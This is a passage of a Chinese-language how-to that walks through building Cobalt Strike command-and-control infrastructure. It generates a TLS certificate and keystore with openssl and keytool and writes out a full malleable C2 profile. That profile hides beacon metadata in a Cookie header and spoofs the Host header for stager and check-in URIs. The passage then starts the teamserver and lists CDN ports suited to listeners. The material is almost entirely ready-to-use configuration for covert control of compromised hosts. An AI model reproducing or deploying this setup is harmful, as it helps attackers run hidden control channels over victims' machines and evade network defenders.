接着添加DNS:
生成证书
保存公钥以及私钥
第一个保存pem,第二个保存key文件(复制即可)
将证书打包并生成store文件
openssl pkcs12 -export -in server.pem -inkey server.key -out xxx.xxxxxx.tk.p12 -name xxx.xxxxxx.tk -passout pass:123456 keytool -importkeystore -deststorepass 123456 -destkeypass 123456 -destkeystore xxx.xxxxxx.tk.store -srckeystore xxx.xxxxxx.tk.p12 -srcstoretype PKCS12 -srcstorepass 123456 -alias xxx.xxxxxx.tk再创建一个.profile文件
https-certificate { set keystore "xxx.xxxxxx.tk.store"; set password "123456"; } http-stager { set uri_x86 "/api/1"; set uri_x64 "/api/2"; client { header "Host" "xxx.xxxxxx.tk";} server { output{ print; } } } http-get { set uri "/api/3"; client { header "Host" "xxx.xxxxxx.tk"; metadata { base64; header "Cookie"; } } server { output{ print; } } } http-post { set uri "/api/4"; client { header "Host" "xxx.xxxxxx.tk"; id { uri-append; } output{ print; } } server { output{ print; } } }把xxxxx.profile和xxx.xxxxxx.tk.store拷贝到cs服务器上
执行
./teamserver ip password ./xxxxx.profile
客户端上监听:
可监听的端口
http:
80、8080、8880、2052、2082、2086、2095
https:
443、2053、2083、2087、2096、8443